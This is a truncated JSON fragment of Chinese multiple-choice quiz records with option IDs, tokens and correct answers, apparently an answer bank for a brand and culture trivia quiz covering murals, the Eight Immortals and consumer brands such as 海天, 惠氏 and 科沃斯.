16:47:31","status":"1"},{"questionId":"6001430946","questionIndex":"2","questionStem":"以下哪座唐代墓葬中发现了壁画《马球图》?","options":"[{\"optionId\":\"LcQSx0BQjze9sGyuzuBc8GVb1qwKbvtQNGDYeg\",\"optionDesc\":\"懿德太子墓\"},{\"optionId\":\"LcQSx0BQjze9sGyuzuBc8Sud_j56HSIyk4vr9g\",\"optionDesc\":\"永泰公主墓\"},{\"optionId\":\"LcQSx0BQjze9sGyuzuBc815m7KixncWNinjHGA\",\"optionDesc\":\"章怀太子墓\"}]","questionToken":"LcQSx0BQjze9sGz_3ahHoZUQ5YjzR7k6y78-kxUXNIukvo8Qw5fNEGJoBo25KLBUFPYCZGZfvnpP40hNWQqvtIW5Uw5hpg","correct":"{\"optionId\":\"LcQSx0BQjze9sGyuzuBc815m7KixncWNinjHGA\",\"optionDesc\":\"章怀太子墓\"}","create_time":"2/2/2021 16:48:18","update_time":"2/2/2021 16:48:18","status":"1"},{"questionId":"6001430947","questionIndex":"3","questionStem":"著名的法海寺明代壁画位于哪个城市?","options":"[{\"optionId\":\"LcQSx0BQjze9sWyuzuBc8JKUDct1rhZ4LhWu\",\"optionDesc\":\"南京\"},{\"optionId\":\"LcQSx0BQjze9sWyuzuBc8xx1TmIv0CWD5oSw\",\"optionDesc\":\"北京\"},{\"optionId\":\"LcQSx0BQjze9sWyuzuBc8SHYFQOo1GBzm8os\",\"optionDesc\":\"西安\"}]","questionToken":"LcQSx0BQjze9sWz-3ahHpoJZ3ayO3zZsvZcl_ZdU9HGRI4ndac_fgN8dsKd-oX7J0_fjNU7FXwbvpUWDJappoC2Nj2I7FA","correct":"{\"optionId\":\"LcQSx0BQjze9sWyuzuBc8xx1TmIv0CWD5oSw\",\"optionDesc\":\"北京\"}","create_time":"2/2/2021 16:48:03","update_time":"2/2/2021 16:48:03","status":"1"},{"questionId":"6001430948","questionIndex":"5","questionStem":"莫高窟中现存最古老的壁画属于什么时期?","options":"[{\"optionId\":\"LcQSx0BQjze9vmyuzuBc8QvuaAb9D_SgC4XC\",\"optionDesc\":\"西晋\"},{\"optionId\":\"LcQSx0BQjze9vmyuzuBc811CazsbhjC7wWE4\",\"optionDesc\":\"十六国\"},{\"optionId\":\"LcQSx0BQjze9vmyuzuBc8CDkXvOoEn11CclP\",\"optionDesc\":\"北魏\"}]","questionToken":"LcQSx0BQjze9vmz43ahHpqB2_xq0po7v_eBIGZJplPBMiVClyTYcNC0vhd8f0BVviFC7mAmsmNO6I0OWWeRPZ0GA1UTpwA","correct":"{\"optionId\":\"LcQSx0BQjze9vmyuzuBc811CazsbhjC7wWE4\",\"optionDesc\":\"十六国\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6001430949","questionIndex":"5","questionStem":"八仙中的哪一位能让牡丹变色?","options":"[{\"optionId\":\"LcQSx0BQjze9v2yuzuBc8IQIXyWnViCeb6g\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjze9v2yuzuBc8SygCS7cl6Q51OQ\",\"optionDesc\":\"蓝采和\"},{\"optionId\":\"LcQSx0BQjze9v2yuzuBc89yyR4TraQ4GK5E\",\"optionDesc\":\"韩湘子\"}]","questionToken":"LcQSx0BQjze9v2z43ahHoSQZDaQDIEfygteCj8mlc2fpzsObCJ7xUjzrjxf82BKZ5qa_anTSvSlstYPhmmCZWKv0AeMuCQ","correct":"{\"optionId\":\"LcQSx0BQjze9v2yuzuBc89yyR4TraQ4GK5E\",\"optionDesc\":\"韩湘子\"}","create_time":"2/2/2021 16:47:59","update_time":"2/2/2021 16:47:59","status":"1"},{"questionId":"6101434016","questionIndex":"3","questionStem":"济民可信的LOGO是什么颜色?","options":"[{\"optionId\":\"LcUSx0BQiz4j_m1X7WIJaAXVMmZPGsKyqn9e\",\"optionDesc\":\"金色\"},{\"optionId\":\"LcUSx0BQiz4j_m1X7WIJanyPEFUbq5RRSJMm\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz4j_m1X7WIJaZ6aSgzJx_JICAPs\",\"optionDesc\":\"白色\"}]","questionToken":"LcUSx0BQiz4j_m0H_ioSP2GBTReuVUUHrXSE6fk1EE99702Q6clUx9wv0dFXCcBr64UtqqgWi77oFOl_d4HILju2r-HoVQ","correct":"{\"optionId\":\"LcUSx0BQiz4j_m1X7WIJanyPEFUbq5RRSJMm\",\"optionDesc\":\"蓝色\"}","create_time":"2/2/2021 16:48:04","update_time":"2/2/2021 16:48:04","status":"1"},{"questionId":"6101434018","questionIndex":"3","questionStem":"顾家是做什么起家的?","options":"[{\"optionId\":\"LcUSx0BQiz4j8G1X7WIJapMoqrEfA92KhO_6Ww\",\"optionDesc\":\"沙发\"},{\"optionId\":\"LcUSx0BQiz4j8G1X7WIJaHk69MiDyP3-tKIWaw\",\"optionDesc\":\"椅子\"},{\"optionId\":\"LcUSx0BQiz4j8G1X7WIJafn5m9DvYucn-EYdiQ\",\"optionDesc\":\"床垫\"}]","questionToken":"LcUSx0BQiz4j8G0H_ioSOMZARwgSSnhoXG6RG9RjAu3H_3wkPcEmHty6rxSGwKanipLfet38VkfGQmQQuGEJjR9t9Ef4Gg","correct":"{\"optionId\":\"LcUSx0BQiz4j8G1X7WIJapMoqrEfA92KhO_6Ww\",\"optionDesc\":\"沙发\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6101434019","questionIndex":"3","questionStem":"顾家的总部在哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4j8W1X7WIJabWgpPchUjaHTI8OWg\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4j8W1X7WIJapCMN5yc0H5-z_FI_w\",\"optionDesc\":\"杭州\"},{\"optionId\":\"LcUSx0BQiz4j8W1X7WIJaFwQWu1zVE_9Lt-g9w\",\"optionDesc\":\"北京\"}]","questionToken":"LcUSx0BQiz4j8W0H_ioSOD3un8Yh6LUX_z0IIbY4yo8IA1fRv5R0V5JmfwmmpMF-pf0lcENYGCIWcyLVk30MDzgMzpRkDg","correct":"{\"optionId\":\"LcUSx0BQiz4j8W1X7WIJapCMN5yc0H5-z_FI_w\",\"optionDesc\":\"杭州\"}","create_time":"2/2/2021 16:48:11","update_time":"2/2/2021 16:48:11","status":"1"},{"questionId":"6101434020","questionIndex":"5","questionStem":"顾家家居的logo颜色是?","options":"[{\"optionId\":\"LcUSx0BQiz4g-G1X7WIJaiolm78Kf6ukQTnE\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4g-G1X7WIJad46JfOV_yhiXFev\",\"optionDesc\":\"黑色\"},{\"optionId\":\"LcUSx0BQiz4g-G1X7WIJaDoKJ8FAUmS1gcMJ\",\"optionDesc\":\"绿色\"}]","questionToken":"LcUSx0BQiz4g-G0B_ioSP-v8N80V4PC__w8R9ycJ97Vws1sgmfgE_rBUoJf6QZZ9L0BVNiipNQ9eRzAXW6siH7o-KLWlmA","correct":"{\"optionId\":\"LcUSx0BQiz4g-G1X7WIJaiolm78Kf6ukQTnE\",\"optionDesc\":\"红色\"}","create_time":"2/2/2021 16:48:16","update_time":"2/2/2021 16:48:16","status":"1"},{"questionId":"6101434021","questionIndex":"4","questionStem":"海天的logo颜色是?","options":"[{\"optionId\":\"LcUSx0BQiz4g-W1X7WIJaR0XHU5bNA8CGRs\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz4g-W1X7WIJakxViazEg__9iws\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4g-W1X7WIJaGPmksIqFpMhfRc\",\"optionDesc\":\"绿色\"}]","questionToken":"LcUSx0BQiz4g-W0A_ioSOA6_YGvFOoCACzKic5UvpoASAyMEj7-vHVJIsGZZE577Yz5W-NQhI1vvTVhoFt2n0BnmV1EHkg","correct":"{\"optionId\":\"LcUSx0BQiz4g-W1X7WIJakxViazEg__9iws\",\"optionDesc\":\"红色\"}","create_time":"2/2/2021 16:47:43","update_time":"2/2/2021 16:47:43","status":"1"},{"questionId":"6101434022","questionIndex":"1","questionStem":"海天主要卖什么产品?","options":"[{\"optionId\":\"LcUSx0BQiz4g-m1X7WIJaVJIBU0hgJKJ-vyc\",\"optionDesc\":\"电子设备\"},{\"optionId\":\"LcUSx0BQiz4g-m1X7WIJaCuDbBoWRs4Oct94\",\"optionDesc\":\"清洁用品\"},{\"optionId\":\"LcUSx0BQiz4g-m1X7WIJaid5i5KFXSg-U1r_\",\"optionDesc\":\"调味品\"}]","questionToken":"LcUSx0BQiz4g-m0F_ioSOD8zKQaZ6nxQwDzK5XbLS7x54QkPmlCGwd673EeTv1uwfhGYx0PaUk25uPin-XEvlrf-JLlNKg","correct":"{\"optionId\":\"LcUSx0BQiz4g-m1X7WIJaid5i5KFXSg-U1r_\",\"optionDesc\":\"调味品\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"6101434023","questionIndex":"5","questionStem":"海天工厂总部在哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4g-21X7WIJaEsFUvkdwNCa1aC4pg\",\"optionDesc\":\"北京\"},{\"optionId\":\"LcUSx0BQiz4g-21X7WIJaZixMzN4IaMbXWG9Ug\",\"optionDesc\":\"四川成都\"},{\"optionId\":\"LcUSx0BQiz4g-21X7WIJatoL-flaBCv3-HMbGg\",\"optionDesc\":\"广东佛山\"}]","questionToken":"LcUSx0BQiz4g-20B_ioSODR9NtZQyZovRvEhC5-_XXaDA7DyRmwmxZIUipS1Exlnz--i9sao62jmqb8PcZIDVLAp5zkYkQ","correct":"{\"optionId\":\"LcUSx0BQiz4g-21X7WIJatoL-flaBCv3-HMbGg\",\"optionDesc\":\"广东佛山\"}","create_time":"2/2/2021 16:48:18","update_time":"2/2/2021 16:48:18","status":"1"},{"questionId":"6101434024","questionIndex":"2","questionStem":"惠氏启赋的罐子是什么颜色的?","options":"[{\"optionId\":\"LcUSx0BQiz4g_G1X7WIJadV3J-MgqqlVCyP6\",\"optionDesc\":\"绿色\"},{\"optionId\":\"LcUSx0BQiz4g_G1X7WIJaBUo6Qnp7N5iEmxM\",\"optionDesc\":\"黄色\"},{\"optionId\":\"LcUSx0BQiz4g_G1X7WIJagDEOWEDlXtJOjeC\",\"optionDesc\":\"蓝色\"}]","questionToken":"LcUSx0BQiz4g_G0G_ioSP35pDaT57yk2_Y1dayFyXYbISQDsjlZvGw05iLFN66X7XMITgLzaPeqtwm4WM0cD_M4tkvVY2A","correct":"{\"optionId\":\"LcUSx0BQiz4g_G1X7WIJagDEOWEDlXtJOjeC\",\"optionDesc\":\"蓝色\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6101434025","questionIndex":"3","questionStem":"惠氏有机奶粉的奶源来自哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4g_W1X7WIJaUvKNRJelhckMMYe\",\"optionDesc\":\"印度\"},{\"optionId\":\"LcUSx0BQiz4g_W1X7WIJaiH_PHreb36niLOz\",\"optionDesc\":\"爱尔兰\"},{\"optionId\":\"LcUSx0BQiz4g_W1X7WIJaBZ-OA4kPBAilEvp\",\"optionDesc\":\"西班牙\"}]","questionToken":"LcUSx0BQiz4g_W0H_ioSPwXYglx3uAe-uFO75vPzEl46IypgQ5PsJ9OZ6Dq1-1QRlyHppOP9OC4NI-Up1b7E5gOh16IvuA","correct":"{\"optionId\":\"LcUSx0BQiz4g_W1X7WIJaiH_PHreb36niLOz\",\"optionDesc\":\"爱尔兰\"}","create_time":"2/2/2021 16:48:15","update_time":"2/2/2021 16:48:15","status":"1"},{"questionId":"6101434026","questionIndex":"1","questionStem":"以下哪个选项是惠氏铂臻奶粉没有的成分?","options":"[{\"optionId\":\"LcUSx0BQiz4g_m1X7WIJal1vHZZGXirbdVimvw\",\"optionDesc\":\"珍稀植物钙\"},{\"optionId\":\"LcUSx0BQiz4g_m1X7WIJaB9-XNyxUudcoqvp2w\",\"optionDesc\":\"双短链益生元\"},{\"optionId\":\"LcUSx0BQiz4g_m1X7WIJaVaAHljuyrQMwcI17g\",\"optionDesc\":\"脑磷脂群\"}]","questionToken":"LcUSx0BQiz4g_m0F_ioSOAHu3tYM7TzP-0DnoAIanSO0VX8T_ptI2y9hPUXkzTBjHfKASwIyhnqoDSikvctRKESo8XJv9A","correct":"{\"optionId\":\"LcUSx0BQiz4g_m1X7WIJal1vHZZGXirbdVimvw\",\"optionDesc\":\"珍稀植物钙\"}","create_time":"2/2/2021 16:48:15","update_time":"2/2/2021 16:48:15","status":"1"},{"questionId":"6101434027","questionIndex":"1","questionStem":"福临门logo的颜色是?","options":"[{\"optionId\":\"LcUSx0BQiz4g_21X7WIJanhJjPhPpYpr8TbP\",\"optionDesc\":\"黄色\"},{\"optionId\":\"LcUSx0BQiz4g_21X7WIJadvl3vjRJmZpSuFv\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4g_21X7WIJaJFyf8a2TQ4WvNfO\",\"optionDesc\":\"黑色\"}]","questionToken":"LcUSx0BQiz4g_20F_ioSOHx-OH475HjnI0BXuX0P0DlbwfcCk2v_VSRuBV8sVDSbcuKNgVnysUPf4II4lVOKyCPfeo-7bw","correct":"{\"optionId\":\"LcUSx0BQiz4g_21X7WIJanhJjPhPpYpr8TbP\",\"optionDesc\":\"黄色\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"6101434028","questionIndex":"4","questionStem":"福临门成立时间是哪一年?","options":"[{\"optionId\":\"LcUSx0BQiz4g8G1X7WIJaSLWyFUIy-5MTltGWg\",\"optionDesc\":\"2018年\"},{\"optionId\":\"LcUSx0BQiz4g8G1X7WIJaJlKv6Qvmu0TP_hA9A\",\"optionDesc\":\"2020年\"},{\"optionId\":\"LcUSx0BQiz4g8G1X7WIJanXckfU03SY492pM0A\",\"optionDesc\":\"2007年\"}]","questionToken":"LcUSx0BQiz4g8G0A_ioSP_bePo5XNP0PbRvOxOUE5B8kGrJSdp9r0SsJbsBiXZn1signiR6jci5xubXUQDuvIOCJHgYS4g","correct":"{\"optionId\":\"LcUSx0BQiz4g8G1X7WIJanXckfU03SY492pM0A\",\"optionDesc\":\"2007年\"}","create_time":"2/2/2021 16:47:57","update_time":"2/2/2021 16:47:57","status":"1"},{"questionId":"6101434029","questionIndex":"1","questionStem":"以下哪个属于福临门产品?","options":"[{\"optionId\":\"LcUSx0BQiz4g8W1X7WIJarL1uh3lC4urmg\",\"optionDesc\":\"食用油\"},{\"optionId\":\"LcUSx0BQiz4g8W1X7WIJaKNPARHfUCER7w\",\"optionDesc\":\"薯片\"},{\"optionId\":\"LcUSx0BQiz4g8W1X7WIJacixSfMezZ8mTA\",\"optionDesc\":\"抽纸\"}]","questionToken":"LcUSx0BQiz4g8W0F_ioSPzO2BMXZp5m4YE2ylIfrhGrMRilPmN00T-cJt0lSyfNdHFnGokDmkJmhcqg-3eSMq3_AAloZUw","correct":"{\"optionId\":\"LcUSx0BQiz4g8W1X7WIJarL1uh3lC4urmg\",\"optionDesc\":\"食用油\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"6101434030","questionIndex":"1","questionStem":"费列罗源自于哪国?","options":"[{\"optionId\":\"LcUSx0BQiz4h-G1X7WIJaU2dF7qobhe0Q9gH\",\"optionDesc\":\"德国\"},{\"optionId\":\"LcUSx0BQiz4h-G1X7WIJaOTRIKA7Mg4kPYtH\",\"optionDesc\":\"英国\"},{\"optionId\":\"LcUSx0BQiz4h-G1X7WIJavKIe-DuhEY3rfAy\",\"optionDesc\":\"意大利\"}]","questionToken":"LcUSx0BQiz4h-G0F_ioSP2tJk0FAiOwh9eDgMBvJKTITS31nZU9FFITwNr3vSjU4xzeVT-_4g581TwLyrkoLmWr5-IxjoQ","correct":"{\"optionId\":\"LcUSx0BQiz4h-G1X7WIJavKIe-DuhEY3rfAy\",\"optionDesc\":\"意大利\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434031","questionIndex":"5","questionStem":"费列罗主要卖什么产品?","options":"[{\"optionId\":\"LcUSx0BQiz4h-W1X7WIJakE3kWiSzVodX6zrMg\",\"optionDesc\":\"巧克力\"},{\"optionId\":\"LcUSx0BQiz4h-W1X7WIJaeqYZmLxYQlkJ7mfCQ\",\"optionDesc\":\"面包\"},{\"optionId\":\"LcUSx0BQiz4h-W1X7WIJaMlyCGPJGf4W24GjPA\",\"optionDesc\":\"牛奶\"}]","questionToken":"LcUSx0BQiz4h-W0B_ioSP5MFvKlQGucvx22oq7BYd-q5jKenVoUfXtwGfv84vynCCVPFotTLuWxsnhjIj3PQjJsUGaW-CQ","correct":"{\"optionId\":\"LcUSx0BQiz4h-W1X7WIJakE3kWiSzVodX6zrMg\",\"optionDesc\":\"巧克力\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6101434032","questionIndex":"5","questionStem":"费列罗logo的颜色是?","options":"[{\"optionId\":\"LcUSx0BQiz4h-m1X7WIJapuwcCN6Mvh-dFI\",\"optionDesc\":\"咖啡色\"},{\"optionId\":\"LcUSx0BQiz4h-m1X7WIJaaQZt18XHYkrQbs\",\"optionDesc\":\"绿色\"},{\"optionId\":\"LcUSx0BQiz4h-m1X7WIJaBSSeC4xg3FB9vA\",\"optionDesc\":\"黄色\"}]","questionToken":"LcUSx0BQiz4h-m0B_ioSOCsYL6nH3YTaIhyjMviOwf6IYzB5-yLkxE8isntKJAQIgYvA_LqdzffXK-IHKAp3kAOg9ZLDZg","correct":"{\"optionId\":\"LcUSx0BQiz4h-m1X7WIJapuwcCN6Mvh-dFI\",\"optionDesc\":\"咖啡色\"}","create_time":"2/2/2021 16:47:44","update_time":"2/2/2021 16:47:44","status":"1"},{"questionId":"6101434033","questionIndex":"1","questionStem":"惠而浦总部位于哪个国家?","options":"[{\"optionId\":\"LcUSx0BQiz4h-21X7WIJaJFKb8vZpqkGpkGmvA\",\"optionDesc\":\"意大利\"},{\"optionId\":\"LcUSx0BQiz4h-21X7WIJaecnuyvUQuvatIrOSw\",\"optionDesc\":\"德国\"},{\"optionId\":\"LcUSx0BQiz4h-21X7WIJameNvW0WliEn7N935g\",\"optionDesc\":\"美国\"}]","questionToken":"LcUSx0BQiz4h-20F_ioSPxd7xgd49RFrlG1Zk8S8ltsmMJlfnEKXDw27GMua6yEudjfFnsReOJjvx9pdWfPuhc8wtrTAgw","correct":"{\"optionId\":\"LcUSx0BQiz4h-21X7WIJameNvW0WliEn7N935g\",\"optionDesc\":\"美国\"}","create_time":"2/2/2021 16:48:28","update_time":"2/2/2021 16:48:28","status":"1"},{"questionId":"6101434034","questionIndex":"5","questionStem":"惠而浦创立至今多少年了?","options":"[{\"optionId\":\"LcUSx0BQiz4h_G1X7WIJaJ7WtX0rpgM4f7s\",\"optionDesc\":\"29年\"},{\"optionId\":\"LcUSx0BQiz4h_G1X7WIJapQZcxW2YA6qhvo\",\"optionDesc\":\"99年\"},{\"optionId\":\"LcUSx0BQiz4h_G1X7WIJaQH8jPAlEw018vU\",\"optionDesc\":\"59年\"}]","questionToken":"LcUSx0BQiz4h_G0B_ioSOMBl0HuyWrhxSQajYCNwiCmjb1u1wqBgK6P7H42sLQNrHWBYsoTEtOwCu74qKnT43hHg-vx5dg","correct":"{\"optionId\":\"LcUSx0BQiz4h_G1X7WIJapQZcxW2YA6qhvo\",\"optionDesc\":\"99年\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434035","questionIndex":"3","questionStem":"惠而浦的售后保障是?","options":"[{\"optionId\":\"LcUSx0BQiz4h_W1X7WIJaYNU94Q7S97X5zQ\",\"optionDesc\":\"整机保修2年\"},{\"optionId\":\"LcUSx0BQiz4h_W1X7WIJaLbF1cAv6IIQJlc\",\"optionDesc\":\"整机保修1年\"},{\"optionId\":\"LcUSx0BQiz4h_W1X7WIJakv9nYROMoYYQTE\",\"optionDesc\":\"整机保修3年\"}]","questionToken":"LcUSx0BQiz4h_W0H_ioSOCt9hnx5PAhL1tTGloDa9LPjUAcVFlPupevHC8JZrs99ulbyB4DFf5nm6cJKKvo4FddkDdEjjg","correct":"{\"optionId\":\"LcUSx0BQiz4h_W1X7WIJakv9nYROMoYYQTE\",\"optionDesc\":\"整机保修3年\"}","create_time":"2/2/2021 16:47:44","update_time":"2/2/2021 16:47:44","status":"1"},{"questionId":"6101434036","questionIndex":"4","questionStem":"科沃斯2020年销量最大的产品是?","options":"[{\"optionId\":\"LcUSx0BQiz4h_m1X7WIJasWktFdQy6KlNdLU\",\"optionDesc\":\"扫地机器人\"},{\"optionId\":\"LcUSx0BQiz4h_m1X7WIJaXyAMFU9ERcHoN8T\",\"optionDesc\":\"擦窗机器人\"},{\"optionId\":\"LcUSx0BQiz4h_m1X7WIJaN0_ZJY14_lMb-_v\",\"optionDesc\":\"空气净化机器人\"}]","questionToken":"LcUSx0BQiz4h_m0A_ioSOFqw8uTjWpKp8pkI3eJ4_llbRbGKZNkBpC8lyi16cIuj81jm901VyHHiV3FRTtUXy2M4vz0dyw","correct":"{\"optionId\":\"LcUSx0BQiz4h_m1X7WIJasWktFdQy6KlNdLU\",\"optionDesc\":\"扫地机器人\"}","create_time":"2/2/2021 16:47:43","update_time":"2/2/2021 16:47:43","status":"1"},{"questionId":"6101434037","questionIndex":"3","questionStem":"科沃斯成立于哪一年?","options":"[{\"optionId\":\"LcUSx0BQiz4h_21X7WIJasepXKWlG3y-sa9v\",\"optionDesc\":\"1998年\"},{\"optionId\":\"LcUSx0BQiz4h_21X7WIJaArafFLQjN31ZNe6\",\"optionDesc\":\"2018年\"},{\"optionId\":\"LcUSx0BQiz4h_21X7WIJae43l1XJaYRVfKKL\",\"optionDesc\":\"2008年\"}]","questionToken":"LcUSx0BQiz4h_20H_ioSOLdcwBbh6q5Csfjuylccq_hJwxJBPBWcsTuGxMcxL7Ln-9r7R8x3HrYiDaz4aHlOaN4q_zkgMA","correct":"{\"optionId\":\"LcUSx0BQiz4h_21X7WIJasepXKWlG3y-sa9v\",\"optionDesc\":\"1998年\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"6101434038","questionIndex":"2","questionStem":"科沃斯总部位于?","options":"[{\"optionId\":\"LcUSx0BQiz4h8G1X7WIJaOIIckccmk104E7D\",\"optionDesc\":\"北京\"},{\"optionId\":\"LcUSx0BQiz4h8G1X7WIJaYte8yohD_4WjT6i\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4h8G1X7WIJakIBtK0TwxKQyadY\",\"optionDesc\":\"苏州\"}]","questionToken":"LcUSx0BQiz4h8G0G_ioSODdMJBJXczJRrj0Sy3nZpesrdT2ANVQEuSYZd6CXnEXYaQ7KRjk2iP1-_MEBcf9gaKGZzblvqg","correct":"{\"optionId\":\"LcUSx0BQiz4h8G1X7WIJakIBtK0TwxKQyadY\",\"optionDesc\":\"苏州\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6101434039","questionIndex":"4","questionStem":"外交官品牌创自于?","options":"[{\"optionId\":\"LcUSx0BQiz4h8W1X7WIJae7AuLPpYxZMI78V\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4h8W1X7WIJaBAshvOIyGNqutvt\",\"optionDesc\":\"广州\"},{\"optionId\":\"LcUSx0BQiz4h8W1X7WIJal8PbG-dBBukZqTc\",\"optionDesc\":\"台湾\"}]","questionToken":"LcUSx0BQiz4h8W0A_ioSP93IyQcinBeiW_vZyr5bBa0Lqy3Sp40jyvgk9gdrhBy3vf5-9JIOKTNK9hnSwDKq7vTgCkjVZw","correct":"{\"optionId\":\"LcUSx0BQiz4h8W1X7WIJal8PbG-dBBukZqTc\",\"optionDesc\":\"台湾\"}","create_time":"2/2/2021 16:48:38","update_time":"2/2/2021 16:48:38","status":"1"},{"questionId":"6101434041","questionIndex":"2","questionStem":"外交官品牌到2021诞生多少周年?","options":"[{\"optionId\":\"LcUSx0BQiz4m-W1X7WIJadYao91Hx8OdB2hy\",\"optionDesc\":\"30\"},{\"optionId\":\"LcUSx0BQiz4m-W1X7WIJaGFYUqsjV7CO-CTZ\",\"optionDesc\":\"60\"},{\"optionId\":\"LcUSx0BQiz4m-W1X7WIJaqXTC4OFFBYM4ItE\",\"optionDesc\":\"50\"}]","questionToken":"LcUSx0BQiz4m-W0G_ioSP7M6md-uTLFBRDHSiqyy51PS2_1c2hAZc4SCrLxz0egDbdikAxlvD2OCbQ8kKNPACo4vceEs-Q","correct":"{\"optionId\":\"LcUSx0BQiz4m-W1X7WIJaqXTC4OFFBYM4ItE\",\"optionDesc\":\"50\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6101434042","questionIndex":"1","questionStem":"维他奶成立多少年了?","options":"[{\"optionId\":\"LcUSx0BQiz4m-m1X7WIJamtrMXPU160KJwA\",\"optionDesc\":\"80\"},{\"optionId\":\"LcUSx0BQiz4m-m1X7WIJaeryyzfONTcXPwA\",\"optionDesc\":\"60\"},{\"optionId\":\"LcUSx0BQiz4m-m1X7WIJaKNpqfTdLcBluIw\",\"optionDesc\":\"40\"}]","questionToken":"LcUSx0BQiz4m-m0F_ioSOOwA7YP8udVPIIlpuShnmshVxn-5PQArCRPlMkO6JsNiy5PJQHzCj0sPU9YZXaufzppM5_Gokg","correct":"{\"optionId\":\"LcUSx0BQiz4m-m1X7WIJamtrMXPU160KJwA\",\"optionDesc\":\"80\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6101434043","questionIndex":"2","questionStem":"维他奶属于什么类型的奶?","options":"[{\"optionId\":\"LcUSx0BQiz4m-21X7WIJaB81wVHuis_tdg\",\"optionDesc\":\"固态奶\"},{\"optionId\":\"LcUSx0BQiz4m-21X7WIJatFNUVtXCzpqfA\",\"optionDesc\":\"植物蛋白饮料\"},{\"optionId\":\"LcUSx0BQiz4m-21X7WIJadpvCzLdjFl9Gw\",\"optionDesc\":\"动物奶\"}]","questionToken":"LcUSx0BQiz4m-20G_ioSOAZz_po034yY-QjMTZvj5kXm2zGetsQeqLfo0UITnK55Nkt1Ok4Usa61LFgNr4-zcctEfMVWuA","correct":"{\"optionId\":\"LcUSx0BQiz4m-21X7WIJatFNUVtXCzpqfA\",\"optionDesc\":\"植物蛋白饮料\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6101434044","questionIndex":"2","questionStem":"维他奶豆奶的主要原料是什么?","options":"[{\"optionId\":\"LcUSx0BQiz4m_G1X7WIJafLNii4dwBjf9Hs7\",\"optionDesc\":\"花生\"},{\"optionId\":\"LcUSx0BQiz4m_G1X7WIJahdGeOTDgvK3yiMH\",\"optionDesc\":\"大豆\"},{\"optionId\":\"LcUSx0BQiz4m_G1X7WIJaBYfiez1H-7VB3YC\",\"optionDesc\":\"红枣\"}]","questionToken":"LcUSx0BQiz4m_G0G_ioSOM7MEae6QdenWJzXVi1m7u-b54gkQ0O5e-MNAMOmLJIBSk6NsEzNuxb8z5M-ePUxEWURWFzMeQ","correct":"{\"optionId\":\"LcUSx0BQiz4m_G1X7WIJahdGeOTDgvK3yiMH\",\"optionDesc\":\"大豆\"}","create_time":"2/2/2021 16:48:16","update_time":"2/2/2021 16:48:16","status":"1"},{"questionId":"6101434045","questionIndex":"2","questionStem":"公牛BULL集团总部在哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4m_W1X7WIJaKQSEL2aYdjpDqU\",\"optionDesc\":\"四川\"},{\"optionId\":\"LcUSx0BQiz4m_W1X7WIJaWEOxLdY1PjCpaU\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4m_W1X7WIJavtmHJa6ARXtFsk\",\"optionDesc\":\"浙江\"}]","questionToken":"LcUSx0BQiz4m_W0G_ioSOKF6bDrQG-w3iIc0Koo1_6mKan_guKldR7jxgtM70XU8bdTCaSFevUw18S6Cl0vVjUPsnmEraQ","correct":"{\"optionId\":\"LcUSx0BQiz4m_W1X7WIJavtmHJa6ARXtFsk\",\"optionDesc\":\"浙江\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6101434046","questionIndex":"5","questionStem":"公牛品牌的标志颜色是什么?","options":"[{\"optionId\":\"LcUSx0BQiz4m_m1X7WIJasBxsKKg90D1NK3m\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4m_m1X7WIJaA8-3jnMAC5ufDkv\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz4m_m1X7WIJaQ8bdvNjOEr1hPjL\",\"optionDesc\":\"黄色\"}]","questionToken":"LcUSx0BQiz4m_m0B_ioSP-uE2gB0DQkjCcSRV2umQPXiuv6Z2aklAug21ugmEZ2vsOnpXyZXKvwXwakUCBDJZd24BEtdeg","correct":"{\"optionId\":\"LcUSx0BQiz4m_m1X7WIJasBxsKKg90D1NK3m\",\"optionDesc\":\"红色\"}","create_time":"2/2/2021 16:48:06","update_time":"2/2/2021 